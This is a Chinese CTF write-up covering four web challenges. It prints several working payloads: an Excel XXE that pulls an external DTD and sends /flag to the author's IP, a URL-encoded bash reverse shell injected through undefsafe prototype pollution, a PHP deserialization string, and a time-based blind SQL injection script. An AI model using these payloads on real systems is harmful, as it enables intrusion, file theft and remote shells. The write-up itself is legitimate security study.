學校戰隊總排名五十幾,web和pwn各拿了一個一血,只能說師傅太強了,不過後來的排名有點起飛,最後半小時,直接從前十名飛出去了~~
filejava
這道題主要考察的是java
的xxe
漏洞,這個題目總共有兩個功能,上傳和下載功能,有上傳和下載,我們就想到兩個漏洞點,是否有任意文件上傳或者任意文件下載?
經過測試確實有任意文件下載,但是任意文件上傳確不存在,但是卻能夠爲我們提供路徑~~
任意文件下載
但是我們不知道web的路徑怎麼辦?我們還有文件上傳的報錯~~
文件上傳
我們可以看到報錯處直接給了web的路徑,我們就可以直接讀源碼了
先讀web.xml
然後直接讀源碼
- cn.abc.servlet.ListFileServlet
- cn.abc.servlet.DownloadServlet
- cn.abc.servlet.UploadServlet
而class文件一般都在classes文件夾下,所以我們要讀取UploadServlet,其路徑爲:
../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
我這兒只是給出如何讀源碼以及思路,剩下的就不演示了,剩下就是一些class
文件反編譯之類的
通過讀源碼我們知道,就是xxe
漏洞,而且是Excel的xxe
,Excel就是一個壓縮文件,裏面有一個xml文件,這兒不做過多闡述
[Content_Types].xml文件改成如下:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://174.1.59.194/e.xml">
%int;
%all;
%send;
]>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
然後在自己服務器下添加e.xml
內容如下:
<!ENTITY % payl SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://174.1.59.194:555/?%payl;'>">
然後在自己的服務器上監聽555端口,上傳Excel就能獲得flag了
notes
這是一道nodejs
的題目,怎麼說呢,這道題目一般般吧,不過還是被小坑了一下
直接下載源碼
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
get_all_notes() {
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
const port = 666;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
很明顯了,有一個執行系統命名的地方,但是數組是被寫死的,我們很自然想到的就是原型鏈污染,這樣才能可能執行我們想要的命令
而恰好,undefsafe在版本2.0.3之前都是存在原型鏈污染的·~~
var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);
所以過程就很明顯了
直接到/edit_note
路由,這三個參數我們都可控
傳的參數爲:
id=__proto__&author=%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%37%34%2e%31%2e%35%39%2e%31%39%34%2f%35%35%35%20%30%3e%26%31&raw=1
直接反彈shell,獲得flag
AreUSerialz
這道題我們隊拿了個一血,其實做題的師傅都不知道怎麼回事~~~(偷笑)
這道源碼很簡單,主要是弱類型繞過+簡單的反序列化
主要就是繞過protected
中的特殊字符
有的師傅說%00
可以用空格繞過,或者直接用public
代替,是因爲php7.1+
反序列化對這些不敏感,反正我也不太清楚
接下來說一下我們隊的師傅是怎麼做的吧
他是直接用public代替proteced,然乎修改一下類的屬性個數(即繞過__wakeup
的那種方法)就直接讀flag.php
了
我們當時還以爲這也是繞過proteted的一種方式了,hhh
後來在buu上覆現,直接用這個payload就行了
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
可能當時比賽和buu上的環境不一樣吧~~~
後來聽別人說預期解是讀cmdline
?
我也不知道~~
- php7.2+對
private
和public
不敏感 - 小寫s改爲大寫S,後面的值就可以接16進制,從而繞過過濾
trace
這道題目比較可惜,flag爬到一半,比賽就停了
由於一次容器只能插入20次數據,所以我們不能用常規的方法,否則根本跑不出來
這兒我們主要用到的是exp
溢出來報錯
而且不能直接跑出表名,列名,這些都是猜的~~
直接貼出exp:
# encoding=utf-8
import requests
import time
url="http://b5973f1b497b40ff9e8875428cbf9558f1ed1af239e9491f.cloudgame1.ichunqiu.com/register_do.php"
proxies = {
"http": "http://127.0.0.1:8080",
}
flag="flag{"
#erfenfa
for i in range(6,50):
high = 127
low = 44
mid = (low + high) // 2
while high > low:
#payload=r"id=\\0&path=or 1=(ascii(mid(CONCAT_WS(CHAR(32,58,32),user(),database(),version()),{},1))>{})--+" #65
payload=r"ddd',exp(if(ascii(mid((select a.2 from (select 1,2 union select * from flag)a limit 1,1),{},1))>{},sleep(4),0)+10000))-- -"
#payload=r"11',if(ascii(mid(user(),{},1))>{},sleep(3),1))-- -"
#payload=r"id=\\0&path=or 1=(ascii(mid((select password from users limit 1 offset 0),{},1))>{})--+"
#url_1=url+payload.format(i,mid)
data={"username":payload.format(i,mid),"password":"ddd"}
print(payload.format(i,mid))
s_time=time.time()
r=requests.post(url,data=data,proxies=proxies)
print(r.content)
e_time=time.time()
if e_time-s_time>3:
low=mid+1
else:
high=mid
mid=(low+high)//2
time.sleep(1)
flag+=chr(mid)
print(flag)
'''
if(ascii(mid(user(),1,1))>43,sleep(5),1)
sys.schema_auto_increment_columns
if((ascii(mid((select/**/group_concat(table_NAME)/**/from/**/mysql.innodb_table_stats/**/where/**/table_schema=database()),1,1))>1),sleep(5),1)'''
#if(ascii(mid((select/**/group_concat(table_NAME)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),1,1))>1)
#if(ascii(mid((select/**/group_concat(table_NAME)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),1,1))>1,sleep(5),1)
#if(ascii(mid((select/**/group_concat(table_NAME)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),{},1))>{},sleep(5),1)
#select a.2 from (select 1,2 union select * from Flag)a limit 1,1
#if(ascii(mid((select select a.2 from (select 1,2 union select * from Flag)a limit 1,1),{},1))>{},sleep(3),1)
#flag{dbfb184e62-ed9834-437a3-ak2d1a80-7}
#14 2
#flag{8be2fcc4-a40a-48f6-8554-9f2789f3df1c}
#21 4